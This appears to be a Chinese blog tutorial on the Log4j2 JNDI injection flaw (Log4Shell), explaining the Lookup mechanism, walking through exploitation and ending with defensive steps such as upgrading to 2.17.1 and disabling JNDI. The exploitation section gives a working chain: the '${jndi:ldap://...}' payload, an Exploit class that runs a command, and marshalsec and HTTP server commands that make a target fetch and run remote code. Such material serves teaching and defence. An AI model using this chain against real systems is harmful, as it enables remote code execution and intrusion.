log4j2反序列化漏洞

  • Post author:
  • Post category:其他


log4j介绍

Log4j 是一个流行的Java日志框架,用于记录应用程序的日志信息并进行日志管理。它提供了高度可配置的日志输出,可以将日志信息输出到控制台、文件、数据库等多种目标。它采用了模块化的架构,包含多个组件,如日志器(Logger)、输出器(Appender)、格式器(Layout)、过滤器(Filter)等。这些组件可以根据需要进行配置和组合,以满足各种日志记录需求。

log4j漏洞原理及危害

Log4j 引入了 Lookup 接口来支持在日志输出时获取任意位置的 Java 对象。Lookup 接口是 Log4j 中的一个组件,可以理解为一种对象查找和获取机制。通过使用 Lookup 接口,Log4j 可以通过适当的配置和调用,动态地从程序运行环境中获取所需的对象,然后将其作为日志消息的一部分输出到日志目标。这种机制使得用户可以非常灵活地定制日志输出,可以获取并输出各种环境变量、系统属性、配置参数等信息。需要注意的是,Lookup 接口的一种实现方式是使用 JNDI(Java Naming and Directory Interface)来进行对象查找和获取。JNDI 是 Java 中提供的一种标准 API,用于访问各种命名和目录服务,比如获取数据库连接池、获取企业级 JavaBean 等。

在 Log4j 框架中,当处理日志消息时,会通过字符检测来查找特定的占位符(例如

${}

)并将其替换为真实的内容。这就涉及到 Log4j 漏洞中的关键问题,即恶意用户可以构建特殊的日志消息,将恶意的表达式作为占位符,在解析时触发恶意行为。如果 Log4j 的配置允许使用 LDAP(轻量级目录访问协议)或 RMI(远程方法调用协议),那么在解析占位符时,Log4j 将执行远程服务的请求并获取返回结果。

这个漏洞使得攻击者能够利用恶意输入来执行任意的远程代码,从而导致服务器的应用程序受到攻击。恶意对象在被调用的过程中可能会获取敏感信息、执行恶意操作、导致服务器被入侵等严重后果。

漏洞利用

log4j2打印出payload的内容,触发远程代码执行,可以执行一个提前准备好的java函数,该函数可执行开启计算器功能。

被攻击者的log4j2 打印函数示例

假设被攻击者可能会运行如下代码:

import org.apache.logging.log4j.*;

public class Log4jTest1 {
    public static final Logger logger = LogManager.getLogger(Log4jTest1.class);
    public static void main(String[] args){
        System.out.println("开始执行漏洞利用");
        //若java为高版本,需要开启这个才能利用
       System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("asdfasfdasdfafafd");
        logger.error("${jndi:ldap://2.2.2.2:1389/adf}");
        System.out.println("完成执行漏洞利用");
    }
}

攻击者执行操作

攻击者的利用代码如下:

public class Exploit {
    static {
        try {
           System.out.println("攻击代码正在运行...");
           String [] cmd={"calc"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

攻击者还需要执行以下步骤

编译攻击脚本,得到Exploit.class

javac Exploit.java

在利用脚本所在路径下, 开启http服务器

python -m http.server 8888

另外开一个窗口,开启ldap服务,默认端口为1389

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://2.2.2.2:8888/#Exploit"

解释:其中的#Exploit需要和编译出的class文件名对应,不包含.class后缀。

这样的话,被攻击者用log4j2打印出payload”${jndi:ldap://2.2.2.2:1389/adf}”,会自动执行Exploit.class

被攻击者执行log4j2打印payload的操作, 即可触发启动计算器 ~


漏洞防御

  1. 更新版本:确保您正在使用的Log4j 2版本是受影响版本的修复版本。Apache软件基金会已发布了修复该漏洞的Log4j 2.17.1版本,建议尽快升级到这个版本或更高版本。

  2. 禁用JNDI:如果您不需要在Log4j配置中使用JNDI功能,可以通过禁用JNDI来减少漏洞的风险。您可以在Log4j的配置文件中禁用相关的JNDI属性或移除相关的Appender配置。

  3. 配置安全策略:启用严格的输入验证和过滤,确保日志消息中不会包含任何恶意Payload。您可以通过设置Log4j的过滤器或其他安全策略来实现这一点。

  4. 监测和审计:密切监控您的应用程序和服务器日志,以寻找任何异常活动或潜在的攻击迹象。同时,定期进行系统审计和漏洞扫描,确保系统的整体安全性。



版权声明:本文为qq_56698744原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。